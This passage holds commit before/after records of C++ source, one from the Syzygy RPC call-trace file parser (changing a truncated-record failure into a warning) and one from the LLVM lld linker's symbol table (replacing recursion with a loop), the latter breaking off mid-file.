#include "syzygy/trace/parse/parse_engine_rpc.h"

#include "base/file_util.h"
#include "base/logging.h"
#include "sawbuck/common/com_utils.h"
#include "syzygy/common/align.h"
#include "syzygy/trace/parse/parse_utils.h"

using common::AlignUp;

namespace trace {
namespace parser {

ParseEngineRpc::ParseEngineRpc() : ParseEngine("RPC", true) {
}

ParseEngineRpc::~ParseEngineRpc() {
}

bool ParseEngineRpc::IsRecognizedTraceFile(const FilePath& trace_file_path) {
  file_util::ScopedFILE trace_file(file_util::OpenFile(trace_file_path, "rb"));
  if (!trace_file.get()) {
    DWORD error = ::GetLastError();
    LOG(ERROR) << "Unable to open '" << trace_file_path.value() << "': "
               << com::LogWe(error) << ".";
    return false;
  }

  TraceFileHeader::Signature signature = {};
  size_t bytes_read = ::fread(&signature,
                              1,
                              sizeof(signature),
                              trace_file.get());
  if (bytes_read < sizeof(signature)) {
    LOG(ERROR) << "Failed to read trace file signature.";
    return false;
  }

  return 0 == ::memcmp(&signature,
                       &TraceFileHeader::kSignatureValue,
                       sizeof(signature));
}

bool ParseEngineRpc::OpenTraceFile(const FilePath& trace_file_path) {
  trace_file_set_.push_back(trace_file_path);
  return true;
}

bool ParseEngineRpc::CloseAllTraceFiles() {
  trace_file_set_.clear();
  return true;
}

bool ParseEngineRpc::ConsumeAllEvents() {
  TraceFileIter it = trace_file_set_.begin();
  for (; it != trace_file_set_.end(); ++it) {
    if (!ConsumeTraceFile(*it)) {
      LOG(ERROR) << "Failed to consume '" << it->value() << "'.";
      return false;
    }
  }

  return true;
}

bool ParseEngineRpc::ConsumeTraceFile(const FilePath& trace_file_path) {
  DCHECK(!trace_file_path.empty());

  LOG(INFO) << "Processing '" << trace_file_path.BaseName().value() << "'.";

  file_util::ScopedFILE trace_file(file_util::OpenFile(trace_file_path, "rb"));
  if (!trace_file.get()) {
    DWORD error = ::GetLastError();
    LOG(ERROR) << "Unable to open '" << trace_file_path.value() << "': "
               << com::LogWe(error) << ".";
    return false;
  }

  // Let's reserve some space for the variable length header.
  const size_t kReasonableHeaderSize = 4096;
  std::vector<uint8> raw_buffer;
  raw_buffer.reserve(kReasonableHeaderSize);
  raw_buffer.resize(sizeof(TraceFileHeader));

  // Populate the buffer.
  DCHECK_EQ(raw_buffer.size(), sizeof(TraceFileHeader));
  size_t bytes_read = ::fread(&raw_buffer[0],
                              1,
                              raw_buffer.size(),
                              trace_file.get());
  if (bytes_read != raw_buffer.size()) {
    LOG(ERROR) << "Failed to read trace file header.";
    return false;
  }

  // Create a typed alias to the raw buffer.
  const TraceFileHeader* file_header =
      reinterpret_cast<const TraceFileHeader*>(&raw_buffer[0]);

  // Check the file signature.
  if (0 != memcmp(&file_header->signature,
                  &TraceFileHeader::kSignatureValue,
                  sizeof(file_header->signature))) {
    LOG(ERROR) << "Not a valid RPC call-trace file.";
    return false;
  }

  // Make sure there's enough room for the variable length part of the header
  // and then append read the rest of the header. Note that the underlying raw
  // buffer might move when it is resized.
  size_t bytes_to_read = file_header->header_size - raw_buffer.size();
  raw_buffer.resize(file_header->header_size);
  file_header = reinterpret_cast<const TraceFileHeader*>(&raw_buffer[0]);
  bytes_read = ::fread(&raw_buffer[sizeof(TraceFileHeader)],
                       1,
                       bytes_to_read,
                       trace_file.get());
  if (bytes_read != bytes_to_read) {
    LOG(ERROR) << "Failed to read trace file header.";
    return false;
  }

  // Populate the system information which will be fed to the OnProcessStarted
  // event.
  TraceSystemInfo system_info = {};
  system_info.os_version_info = file_header->os_version_info;
  system_info.system_info = file_header->system_info;
  system_info.memory_status = file_header->memory_status;

  // Parse the header blob. This fails if there is any extra data, enforcing
  // a valid header size as a side effect.
  std::wstring module_path;
  std::wstring command_line;
  if (!ParseTraceFileHeaderBlob(*file_header, &module_path, &command_line,
                                &system_info.environment_strings)) {
    LOG(ERROR) << "Unable to parse trace file header blob.";
    return false;
  }

  // Add the executable's module information to the process map. This is in
  // case the executable itself is instrumented, so that trace events will map
  // to a module in the process map.
  ModuleInformation module_info = {};
  module_info.base_address = file_header->module_base_address;
  module_info.image_file_name = module_path;
  module_info.module_size = file_header->module_size;
  module_info.image_checksum = file_header->module_checksum;
  module_info.time_date_stamp = file_header->module_time_date_stamp;
  AddModuleInformation(file_header->process_id, module_info);

  // Notify the event handler that a process has started.
  LARGE_INTEGER big_timestamp = {};
  big_timestamp.QuadPart = file_header->timestamp;
  base::Time start_time(base::Time::FromFileTime(
      *reinterpret_cast<FILETIME*>(&big_timestamp)));
  event_handler_->OnProcessStarted(start_time, file_header->process_id,
                                   &system_info);

  // Consume the body of the trace file.
  size_t next_segment = AlignUp(file_header->header_size,
                                file_header->block_size);
  scoped_ptr_malloc<uint8> buffer;
  size_t buffer_size = 0;
  while (true) {
    if (::fseek(trace_file.get(), next_segment, SEEK_SET) != 0) {
      LOG(ERROR) << "Failed to seek segment boundary " << next_segment << ".";
      return false;
    }

    RecordPrefix segment_prefix;
    if (::fread(&segment_prefix,
                sizeof(segment_prefix),
                1,
                trace_file.get()) !=  1) {
      if (::feof(trace_file.get()))
        break;

      LOG(ERROR) << "Failed to read segment header prefix.";
      return false;
    }

    if (segment_prefix.type != TraceFileSegmentHeader::kTypeId ||
        segment_prefix.size != sizeof(TraceFileSegmentHeader) ||
        segment_prefix.version.hi != TRACE_VERSION_HI ||
        segment_prefix.version.lo != TRACE_VERSION_LO) {
      LOG(ERROR) << "Unrecognized record prefix for segment header.";
      return false;
    }

    TraceFileSegmentHeader segment_header;
    if (::fread(&segment_header,
                sizeof(segment_header),
                1,
                trace_file.get()) !=  1) {
      LOG(ERROR) << "Failed to read segment header.";
      return false;
    }

    size_t aligned_size = AlignUp(segment_header.segment_length,
                                  file_header->block_size);

    if (aligned_size > buffer_size) {
      buffer.reset(reinterpret_cast<uint8*>(::malloc(aligned_size)));
      buffer_size = aligned_size;
    }

    if (::fread(buffer.get(), segment_header.segment_length, 1,
                trace_file.get()) !=  1) {
      LOG(ERROR) << "Failed to read segment.";
      return false;
    }

    if (!ConsumeSegmentEvents(*file_header,
                              segment_header,
                              buffer.get(),
                              segment_header.segment_length)) {
      return false;
    }

    next_segment = AlignUp(
        next_segment + sizeof(segment_prefix) + sizeof(segment_header) +
            segment_header.segment_length,
        file_header->block_size);
  }

  return true;
}

bool ParseEngineRpc::ConsumeSegmentEvents(
    const TraceFileHeader& file_header,
    const TraceFileSegmentHeader& segment_header,
    uint8* buffer,
    size_t buffer_length) {
  DCHECK(buffer != NULL);
  DCHECK(event_handler_ != NULL);

  EVENT_TRACE event_record = {};

  event_record.Header.ProcessId = file_header.process_id;
  event_record.Header.ThreadId = segment_header.thread_id;
  event_record.Header.Guid = kCallTraceEventClass;

  uint8* read_ptr = buffer;
  uint8* end_ptr = read_ptr + buffer_length;

  while (read_ptr < end_ptr) {
    RecordPrefix* prefix = reinterpret_cast<RecordPrefix*>(read_ptr);
    read_ptr += sizeof(RecordPrefix) + prefix->size;
    if (read_ptr > end_ptr) {
      LOG(ERROR) << "Reading off end of segment buffer.";
      return false;
    }

    event_record.Header.Class.Type = prefix->type;
    event_record.Header.TimeStamp.QuadPart = prefix->timestamp;
    event_record.MofData = prefix + 1;
    event_record.MofLength = prefix->size;
    if (!DispatchEvent(&event_record)) {
      LOG(ERROR) << "Failed to process event of type " << prefix->type << ".";
      return false;
    }

    if (error_occurred()) {
      return false;
    }
  }

  return true;
}

}  // namespace trace::parser
}  // namespace trace
<commit_msg>Warn instead of fail on truncated trace segment.<commit_after>// Copyright 2012 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// Implementation of RPC call-trace parsing.

#include "syzygy/trace/parse/parse_engine_rpc.h"

#include "base/file_util.h"
#include "base/logging.h"
#include "sawbuck/common/com_utils.h"
#include "syzygy/common/align.h"
#include "syzygy/trace/parse/parse_utils.h"

using common::AlignUp;

namespace trace {
namespace parser {

ParseEngineRpc::ParseEngineRpc() : ParseEngine("RPC", true) {
}

ParseEngineRpc::~ParseEngineRpc() {
}

bool ParseEngineRpc::IsRecognizedTraceFile(const FilePath& trace_file_path) {
  file_util::ScopedFILE trace_file(file_util::OpenFile(trace_file_path, "rb"));
  if (!trace_file.get()) {
    DWORD error = ::GetLastError();
    LOG(ERROR) << "Unable to open '" << trace_file_path.value() << "': "
               << com::LogWe(error) << ".";
    return false;
  }

  TraceFileHeader::Signature signature = {};
  size_t bytes_read = ::fread(&signature,
                              1,
                              sizeof(signature),
                              trace_file.get());
  if (bytes_read < sizeof(signature)) {
    LOG(ERROR) << "Failed to read trace file signature.";
    return false;
  }

  return 0 == ::memcmp(&signature,
                       &TraceFileHeader::kSignatureValue,
                       sizeof(signature));
}

bool ParseEngineRpc::OpenTraceFile(const FilePath& trace_file_path) {
  trace_file_set_.push_back(trace_file_path);
  return true;
}

bool ParseEngineRpc::CloseAllTraceFiles() {
  trace_file_set_.clear();
  return true;
}

bool ParseEngineRpc::ConsumeAllEvents() {
  TraceFileIter it = trace_file_set_.begin();
  for (; it != trace_file_set_.end(); ++it) {
    if (!ConsumeTraceFile(*it)) {
      LOG(ERROR) << "Failed to consume '" << it->value() << "'.";
      return false;
    }
  }

  return true;
}

bool ParseEngineRpc::ConsumeTraceFile(const FilePath& trace_file_path) {
  DCHECK(!trace_file_path.empty());

  LOG(INFO) << "Processing '" << trace_file_path.BaseName().value() << "'.";

  file_util::ScopedFILE trace_file(file_util::OpenFile(trace_file_path, "rb"));
  if (!trace_file.get()) {
    DWORD error = ::GetLastError();
    LOG(ERROR) << "Unable to open '" << trace_file_path.value() << "': "
               << com::LogWe(error) << ".";
    return false;
  }

  // Let's reserve some space for the variable length header.
  const size_t kReasonableHeaderSize = 4096;
  std::vector<uint8> raw_buffer;
  raw_buffer.reserve(kReasonableHeaderSize);
  raw_buffer.resize(sizeof(TraceFileHeader));

  // Populate the buffer.
  DCHECK_EQ(raw_buffer.size(), sizeof(TraceFileHeader));
  size_t bytes_read = ::fread(&raw_buffer[0],
                              1,
                              raw_buffer.size(),
                              trace_file.get());
  if (bytes_read != raw_buffer.size()) {
    LOG(ERROR) << "Failed to read trace file header.";
    return false;
  }

  // Create a typed alias to the raw buffer.
  const TraceFileHeader* file_header =
      reinterpret_cast<const TraceFileHeader*>(&raw_buffer[0]);

  // Check the file signature.
  if (0 != memcmp(&file_header->signature,
                  &TraceFileHeader::kSignatureValue,
                  sizeof(file_header->signature))) {
    LOG(ERROR) << "Not a valid RPC call-trace file.";
    return false;
  }

  // Make sure there's enough room for the variable length part of the header
  // and then append read the rest of the header. Note that the underlying raw
  // buffer might move when it is resized.
  size_t bytes_to_read = file_header->header_size - raw_buffer.size();
  raw_buffer.resize(file_header->header_size);
  file_header = reinterpret_cast<const TraceFileHeader*>(&raw_buffer[0]);
  bytes_read = ::fread(&raw_buffer[sizeof(TraceFileHeader)],
                       1,
                       bytes_to_read,
                       trace_file.get());
  if (bytes_read != bytes_to_read) {
    LOG(ERROR) << "Failed to read trace file header.";
    return false;
  }

  // Populate the system information which will be fed to the OnProcessStarted
  // event.
  TraceSystemInfo system_info = {};
  system_info.os_version_info = file_header->os_version_info;
  system_info.system_info = file_header->system_info;
  system_info.memory_status = file_header->memory_status;

  // Parse the header blob. This fails if there is any extra data, enforcing
  // a valid header size as a side effect.
  std::wstring module_path;
  std::wstring command_line;
  if (!ParseTraceFileHeaderBlob(*file_header, &module_path, &command_line,
                                &system_info.environment_strings)) {
    LOG(ERROR) << "Unable to parse trace file header blob.";
    return false;
  }

  // Add the executable's module information to the process map. This is in
  // case the executable itself is instrumented, so that trace events will map
  // to a module in the process map.
  ModuleInformation module_info = {};
  module_info.base_address = file_header->module_base_address;
  module_info.image_file_name = module_path;
  module_info.module_size = file_header->module_size;
  module_info.image_checksum = file_header->module_checksum;
  module_info.time_date_stamp = file_header->module_time_date_stamp;
  AddModuleInformation(file_header->process_id, module_info);

  // Notify the event handler that a process has started.
  LARGE_INTEGER big_timestamp = {};
  big_timestamp.QuadPart = file_header->timestamp;
  base::Time start_time(base::Time::FromFileTime(
      *reinterpret_cast<FILETIME*>(&big_timestamp)));
  event_handler_->OnProcessStarted(start_time, file_header->process_id,
                                   &system_info);

  // Consume the body of the trace file.
  size_t next_segment = AlignUp(file_header->header_size,
                                file_header->block_size);
  scoped_ptr_malloc<uint8> buffer;
  size_t buffer_size = 0;
  while (true) {
    if (::fseek(trace_file.get(), next_segment, SEEK_SET) != 0) {
      LOG(ERROR) << "Failed to seek segment boundary " << next_segment << ".";
      return false;
    }

    RecordPrefix segment_prefix;
    if (::fread(&segment_prefix,
                sizeof(segment_prefix),
                1,
                trace_file.get()) !=  1) {
      if (::feof(trace_file.get()))
        break;

      LOG(ERROR) << "Failed to read segment header prefix.";
      return false;
    }

    if (segment_prefix.type != TraceFileSegmentHeader::kTypeId ||
        segment_prefix.size != sizeof(TraceFileSegmentHeader) ||
        segment_prefix.version.hi != TRACE_VERSION_HI ||
        segment_prefix.version.lo != TRACE_VERSION_LO) {
      LOG(ERROR) << "Unrecognized record prefix for segment header.";
      return false;
    }

    TraceFileSegmentHeader segment_header;
    if (::fread(&segment_header,
                sizeof(segment_header),
                1,
                trace_file.get()) !=  1) {
      LOG(ERROR) << "Failed to read segment header.";
      return false;
    }

    size_t aligned_size = AlignUp(segment_header.segment_length,
                                  file_header->block_size);

    if (aligned_size > buffer_size) {
      buffer.reset(reinterpret_cast<uint8*>(::malloc(aligned_size)));
      buffer_size = aligned_size;
    }

    if (::fread(buffer.get(), segment_header.segment_length, 1,
                trace_file.get()) !=  1) {
      LOG(ERROR) << "Failed to read segment.";
      return false;
    }

    if (!ConsumeSegmentEvents(*file_header,
                              segment_header,
                              buffer.get(),
                              segment_header.segment_length)) {
      return false;
    }

    next_segment = AlignUp(
        next_segment + sizeof(segment_prefix) + sizeof(segment_header) +
            segment_header.segment_length,
        file_header->block_size);
  }

  return true;
}

bool ParseEngineRpc::ConsumeSegmentEvents(
    const TraceFileHeader& file_header,
    const TraceFileSegmentHeader& segment_header,
    uint8* buffer,
    size_t buffer_length) {
  DCHECK(buffer != NULL);
  DCHECK(event_handler_ != NULL);

  EVENT_TRACE event_record = {};

  event_record.Header.ProcessId = file_header.process_id;
  event_record.Header.ThreadId = segment_header.thread_id;
  event_record.Header.Guid = kCallTraceEventClass;

  uint8* read_ptr = buffer;
  uint8* end_ptr = read_ptr + buffer_length;

  while (read_ptr < end_ptr) {
    RecordPrefix* prefix = reinterpret_cast<RecordPrefix*>(read_ptr);
    read_ptr += sizeof(RecordPrefix) + prefix->size;
    if (read_ptr > end_ptr) {
      // For batch-oriented records (where the record size is updated after
      // the record is initially written) there's a race condition between
      // updating the size of the segment and updating the number of items
      // in the batch record wherein the client process could be terminated
      // leaving a truncated batch record.
      LOG(WARNING) << "Encountered truncated record at end of segment.";
      continue;
    }

    event_record.Header.Class.Type = prefix->type;
    event_record.Header.TimeStamp.QuadPart = prefix->timestamp;
    event_record.MofData = prefix + 1;
    event_record.MofLength = prefix->size;
    if (!DispatchEvent(&event_record)) {
      LOG(ERROR) << "Failed to process event of type " << prefix->type << ".";
      return false;
    }

    if (error_occurred()) {
      return false;
    }
  }

  return true;
}

}  // namespace trace::parser
}  // namespace trace
<|endoftext|>


<commit_before>//===- Core/SymbolTable.cpp - Main Symbol Table ---------------------------===//
//
//                             The LLVM Linker
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//

#include "lld/Core/SymbolTable.h"
#include "lld/Core/AbsoluteAtom.h"
#include "lld/Core/Atom.h"
#include "lld/Core/DefinedAtom.h"
#include "lld/Core/File.h"
#include "lld/Core/LLVM.h"
#include "lld/Core/Resolver.h"
#include "lld/Core/SharedLibraryAtom.h"
#include "lld/Core/LinkingContext.h"
#include "lld/Core/UndefinedAtom.h"

#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/DenseMapInfo.h"
#include "llvm/ADT/Hashing.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/raw_ostream.h"

#include <algorithm>
#include <cassert>
#include <cstdlib>
#include <vector>

namespace lld {
SymbolTable::SymbolTable(const LinkingContext &context) : _context(context) {}

void SymbolTable::add(const UndefinedAtom &atom) { addByName(atom); }

void SymbolTable::add(const SharedLibraryAtom &atom) { addByName(atom); }

void SymbolTable::add(const AbsoluteAtom &atom) { addByName(atom); }

void SymbolTable::add(const DefinedAtom &atom) {
  if (!atom.name().empty() &&
      atom.scope() != DefinedAtom::scopeTranslationUnit) {
    // Named atoms cannot be merged by content.
    assert(atom.merge() != DefinedAtom::mergeByContent);
    // Track named atoms that are not scoped to file (static).
    addByName(atom);
    return;
  }
  if (atom.merge() == DefinedAtom::mergeByContent) {
    // Named atoms cannot be merged by content.
    assert(atom.name().empty());
    addByContent(atom);
  }
}

const Atom *SymbolTable::findGroup(StringRef sym) {
  NameToAtom::iterator pos = _groupTable.find(sym);
  if (pos == _groupTable.end())
    return nullptr;
  return pos->second;
}

bool SymbolTable::addGroup(const DefinedAtom &da) {
  StringRef name = da.name();
  assert(!name.empty());
  const Atom *existing = findGroup(name);
  if (existing == nullptr) {
    _groupTable[name] = &da;
    return true;
  }
  _replacedAtoms[&da] = existing;
  return false;
}

enum NameCollisionResolution {
  NCR_First,
  NCR_Second,
  NCR_DupDef,
  NCR_DupUndef,
  NCR_DupShLib,
  NCR_Error
};

static NameCollisionResolution cases[4][4] = {
  //regular     absolute    undef      sharedLib
  {
    // first is regular
    NCR_DupDef, NCR_Error,   NCR_First, NCR_First
  },
  {
    // first is absolute
    NCR_Error,  NCR_Error,  NCR_First, NCR_First
  },
  {
    // first is undef
    NCR_Second, NCR_Second, NCR_DupUndef, NCR_Second
  },
  {
    // first is sharedLib
    NCR_Second, NCR_Second, NCR_First, NCR_DupShLib
  }
};

static NameCollisionResolution collide(Atom::Definition first,
                                       Atom::Definition second) {
  return cases[first][second];
}

enum MergeResolution {
  MCR_First,
  MCR_Second,
  MCR_Largest,
  MCR_SameSize,
  MCR_Error
};

static MergeResolution mergeCases[][6] = {
  // no          tentative      weak          weakAddress   sameNameAndSize largest
  {MCR_Error,    MCR_First,     MCR_First,    MCR_First,    MCR_SameSize,   MCR_Largest},  // no
  {MCR_Second,   MCR_Largest,   MCR_Second,   MCR_Second,   MCR_SameSize,   MCR_Largest},  // tentative
  {MCR_Second,   MCR_First,     MCR_First,    MCR_Second,   MCR_SameSize,   MCR_Largest},  // weak
  {MCR_Second,   MCR_First,     MCR_First,    MCR_First,    MCR_SameSize,   MCR_Largest},  // weakAddress
  {MCR_SameSize, MCR_SameSize,  MCR_SameSize, MCR_SameSize, MCR_SameSize,   MCR_SameSize}, // sameSize
  {MCR_Largest,  MCR_Largest,   MCR_Largest,  MCR_Largest,  MCR_SameSize,   MCR_Largest},  // largest
};

static MergeResolution mergeSelect(DefinedAtom::Merge first,
                                   DefinedAtom::Merge second) {
  assert(first != DefinedAtom::mergeByContent);
  assert(second != DefinedAtom::mergeByContent);
  return mergeCases[first][second];
}

static uint64_t getSizeFollowReferences(const DefinedAtom *atom, uint32_t kind) {
  uint64_t size = 0;
redo:
  while (atom) {
    for (const Reference *r : *atom) {
      if (r->kindNamespace() == Reference::KindNamespace::all &&
          r->kindArch() == Reference::KindArch::all &&
          r->kindValue() == kind) {
        atom = cast<DefinedAtom>(r->target());
        size += atom->size();
        goto redo;
      }
    }
    break;
  }
  return size;
}

// Returns the size of the section containing the given atom. Atoms in the same
// section are connected by layout-before and layout-after edges, so this
// function traverses them to get the total size of atoms in the same section.
static uint64_t sectionSize(const DefinedAtom *atom) {
  return atom->size()
      + getSizeFollowReferences(atom, lld::Reference::kindLayoutBefore)
      + getSizeFollowReferences(atom, lld::Reference::kindLayoutAfter);
}

void SymbolTable::addByName(const Atom &newAtom) {
  StringRef name = newAtom.name();
  assert(!name.empty());
  const Atom *existing = findByName(name);
  if (existing == nullptr) {
    // Name is not in symbol table yet, add it associate with this atom.
    _nameTable[name] = &newAtom;
    return;
  }

  // Name is already in symbol table and associated with another atom.
  bool useNew = true;
  switch (collide(existing->definition(), newAtom.definition())) {
  case NCR_First:
    useNew = false;
    break;
  case NCR_Second:
    useNew = true;
    break;
  case NCR_DupDef:
    assert(existing->definition() == Atom::definitionRegular);
    assert(newAtom.definition() == Atom::definitionRegular);
    switch (mergeSelect(((DefinedAtom*)existing)->merge(),
                        ((DefinedAtom*)&newAtom)->merge())) {
    case MCR_First:
      useNew = false;
      break;
    case MCR_Second:
      useNew = true;
      break;
    case MCR_Largest: {
      uint64_t existingSize = sectionSize((DefinedAtom*)existing);
      uint64_t newSize = sectionSize((DefinedAtom*)&newAtom);
      useNew = (newSize >= existingSize);
      break;
    }
    case MCR_SameSize: {
      uint64_t existingSize = sectionSize((DefinedAtom*)existing);
      uint64_t newSize = sectionSize((DefinedAtom*)&newAtom);
      if (existingSize == newSize) {
        useNew = true;
        break;
      }
      llvm::errs() << "Size mismatch: "
                   << existing->name() << " (" << existingSize << ") "
                   << newAtom.name() << " (" << newSize << ")\n";
      // fallthrough
    }
    case MCR_Error:
      if (!_context.getAllowDuplicates()) {
        llvm::errs() << "Duplicate symbols: "
                     << existing->name()
                     << ":"
                     << existing->file().path()
                     << " and "
                     << newAtom.name()
                     << ":"
                     << newAtom.file().path()
                     << "\n";
        llvm::report_fatal_error("duplicate symbol error");
      }
      useNew = false;
      break;
    }
    break;
  case NCR_DupUndef: {
    const UndefinedAtom* existingUndef = dyn_cast<UndefinedAtom>(existing);
    const UndefinedAtom* newUndef = dyn_cast<UndefinedAtom>(&newAtom);
    assert(existingUndef != nullptr);
    assert(newUndef != nullptr);

    bool sameCanBeNull = (existingUndef->canBeNull() == newUndef->canBeNull());
    if (!sameCanBeNull &&
        _context.warnIfCoalesableAtomsHaveDifferentCanBeNull()) {
      llvm::errs() << "lld warning: undefined symbol "
                   << existingUndef->name()
                   << " has different weakness in "
                   << existingUndef->file().path()
                   << " and in " << newUndef->file().path() << "\n";
    }

    const UndefinedAtom *existingFallback = existingUndef->fallback();
    const UndefinedAtom *newFallback = newUndef->fallback();
    bool hasDifferentFallback =
        (existingFallback && newFallback &&
         existingFallback->name() != newFallback->name());
    if (hasDifferentFallback) {
      llvm::errs() << "lld warning: undefined symbol "
                   << existingUndef->name() << " has different fallback: "
                   << existingFallback->name() << " in "
                   << existingUndef->file().path() << " and "
                   << newFallback->name() << " in "
                   << newUndef->file().path() << "\n";
    }

    bool hasNewFallback = newUndef->fallback();
    if (sameCanBeNull)
      useNew = hasNewFallback;
    else
      useNew = (newUndef->canBeNull() < existingUndef->canBeNull());
    break;
  }
  case NCR_DupShLib: {
      const SharedLibraryAtom* curShLib =
        dyn_cast<SharedLibraryAtom>(existing);
      const SharedLibraryAtom* newShLib =
        dyn_cast<SharedLibraryAtom>(&newAtom);
      assert(curShLib != nullptr);
      assert(newShLib != nullptr);
      bool sameNullness = (curShLib->canBeNullAtRuntime()
                                      == newShLib->canBeNullAtRuntime());
      bool sameName = curShLib->loadName().equals(newShLib->loadName());
      if (!sameName) {
        useNew = false;
        if (_context.warnIfCoalesableAtomsHaveDifferentLoadName()) {
          // FIXME: need diagonstics interface for writing warning messages
          llvm::errs() << "lld warning: shared library symbol "
                       << curShLib->name()
                       << " has different load path in "
                       << curShLib->file().path()
                       << " and in "
                       << newShLib->file().path();
        }
      } else if (!sameNullness) {
        useNew = false;
        if (_context.warnIfCoalesableAtomsHaveDifferentCanBeNull()) {
          // FIXME: need diagonstics interface for writing warning messages
          llvm::errs() << "lld warning: shared library symbol "
                       << curShLib->name()
                       << " has different weakness in "
                       << curShLib->file().path()
                       << " and in "
                       << newShLib->file().path();
        }
      } else {
        // Both shlib atoms are identical and can be coalesced.
        useNew = false;
      }
    }
    break;
  case NCR_Error:
    llvm::errs() << "SymbolTable: error while merging " << name << "\n";
    llvm::report_fatal_error("duplicate symbol error");
    break;
  }

  if (useNew) {
    // Update name table to use new atom.
    _nameTable[name] = &newAtom;
    // Add existing atom to replacement table.
    _replacedAtoms[existing] = &newAtom;
  } else {
    // New atom is not being used.  Add it to replacement table.
    _replacedAtoms[&newAtom] = existing;
  }
}

unsigned SymbolTable::AtomMappingInfo::getHashValue(const DefinedAtom *atom) {
  auto content = atom->rawContent();
  return llvm::hash_combine(atom->size(),
                            atom->contentType(),
                            llvm::hash_combine_range(content.begin(),
                                                     content.end()));
}

bool SymbolTable::AtomMappingInfo::isEqual(const DefinedAtom * const l,
                                           const DefinedAtom * const r) {
  if (l == r)
    return true;
  if (l == getEmptyKey())
    return false;
  if (r == getEmptyKey())
    return false;
  if (l == getTombstoneKey())
    return false;
  if (r == getTombstoneKey())
    return false;

  if (l->contentType() != r->contentType())
    return false;
  if (l->size() != r->size())
    return false;
  ArrayRef<uint8_t> lc = l->rawContent();
  ArrayRef<uint8_t> rc = r->rawContent();
  return memcmp(lc.data(), rc.data(), lc.size()) == 0;
}

void SymbolTable::addByContent(const DefinedAtom & newAtom) {
  // Currently only read-only constants can be merged.
  assert(newAtom.permissions() == DefinedAtom::permR__);
  AtomContentSet::iterator pos = _contentTable.find(&newAtom);
  if (pos == _contentTable.end()) {
    _contentTable.insert(&newAtom);
    return;
  }
  const Atom* existing = *pos;
  // New atom is not being used.  Add it to replacement table.
  _replacedAtoms[&newAtom] = existing;
}

const Atom *SymbolTable::findByName(StringRef sym) {
  NameToAtom::iterator pos = _nameTable.find(sym);
  if (pos == _nameTable.end())
    return nullptr;
  return pos->second;
}

bool SymbolTable::isDefined(StringRef sym) {
  const Atom *atom = findByName(sym);
  if (atom == nullptr)
    return false;
  return atom->definition() != Atom::definitionUndefined;
}

void SymbolTable::addReplacement(const Atom *replaced,
                                 const Atom *replacement) {
  _replacedAtoms[replaced] = replacement;
}

const Atom *SymbolTable::replacement(const Atom *atom) {
  AtomToAtom::iterator pos = _replacedAtoms.find(atom);
  if (pos == _replacedAtoms.end())
    return atom;
  // might be chain, recurse to end
  return replacement(pos->second);
}

unsigned int SymbolTable::size() {
  return _nameTable.size();
}

void SymbolTable::undefines(std::vector<const UndefinedAtom *> &undefs) {
  for (auto it : _nameTable) {
    const Atom *atom = it.second;
    assert(atom != nullptr);
    if (const auto undef = dyn_cast<const UndefinedAtom>(atom)) {
      AtomToAtom::iterator pos = _replacedAtoms.find(undef);
      if (pos != _replacedAtoms.end())
        continue;
      undefs.push_back(undef);
    }
  }
}

void SymbolTable::tentativeDefinitions(std::vector<StringRef> &names) {
  for (auto entry : _nameTable) {
    const Atom *atom = entry.second;
    StringRef name   = entry.first;
    assert(atom != nullptr);
    if (const DefinedAtom *defAtom = dyn_cast<DefinedAtom>(atom))
      if (defAtom->merge() == DefinedAtom::mergeAsTentative)
        names.push_back(name);
  }
}
} // namespace lld
<commit_msg>Replace a recursion with a loop for speed.<commit_after>//===- Core/SymbolTable.cpp - Main Symbol Table ---------------------------===//
//
//                             The LLVM Linker
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//

#include "lld/Core/SymbolTable.h"
#include "lld/Core/AbsoluteAtom.h"
#include "lld/Core/Atom.h"
#include "lld/Core/DefinedAtom.h"
#include "lld/Core/File.h"
#include "lld/Core/LLVM.h"
#include "lld/Core/Resolver.h"
#include "lld/Core/SharedLibraryAtom.h"
#include "lld/Core/LinkingContext.h"
#include "lld/Core/UndefinedAtom.h"

#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/DenseMapInfo.h"
#include "llvm/ADT/Hashing.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/raw_ostream.h"

#include <algorithm>
#include <cassert>
#include <cstdlib>
#include <vector>

namespace lld {
SymbolTable::SymbolTable(const LinkingContext &context) : _context(context) {}

void SymbolTable::add(const UndefinedAtom &atom) { addByName(atom); }

void SymbolTable::add(const SharedLibraryAtom &atom) { addByName(atom); }

void SymbolTable::add(const AbsoluteAtom &atom) { addByName(atom); }

void SymbolTable::add(const DefinedAtom &atom) {
  if (!atom.name().empty() &&
      atom.scope() != DefinedAtom::scopeTranslationUnit) {
    // Named atoms cannot be merged by content.
    assert(atom.merge() != DefinedAtom::mergeByContent);
    // Track named atoms that are not scoped to file (static).
    addByName(atom);
    return;
  }
  if (atom.merge() == DefinedAtom::mergeByContent) {
    // Named atoms cannot be merged by content.
    assert(atom.name().empty());
    addByContent(atom);
  }
}

const Atom *SymbolTable::findGroup(StringRef sym) {
  NameToAtom::iterator pos = _groupTable.find(sym);
  if (pos == _groupTable.end())
    return nullptr;
  return pos->second;
}

bool SymbolTable::addGroup(const DefinedAtom &da) {
  StringRef name = da.name();
  assert(!name.empty());
  const Atom *existing = findGroup(name);
  if (existing == nullptr) {
    _groupTable[name] = &da;
    return true;
  }
  _replacedAtoms[&da] = existing;
  return false;
}

enum NameCollisionResolution {
  NCR_First,
  NCR_Second,
  NCR_DupDef,
  NCR_DupUndef,
  NCR_DupShLib,
  NCR_Error
};

static NameCollisionResolution cases[4][4] = {
  //regular     absolute    undef      sharedLib
  {
    // first is regular
    NCR_DupDef, NCR_Error,   NCR_First, NCR_First
  },
  {
    // first is absolute
    NCR_Error,  NCR_Error,  NCR_First, NCR_First
  },
  {
    // first is undef
    NCR_Second, NCR_Second, NCR_DupUndef, NCR_Second
  },
  {
    // first is sharedLib
    NCR_Second, NCR_Second, NCR_First, NCR_DupShLib
  }
};

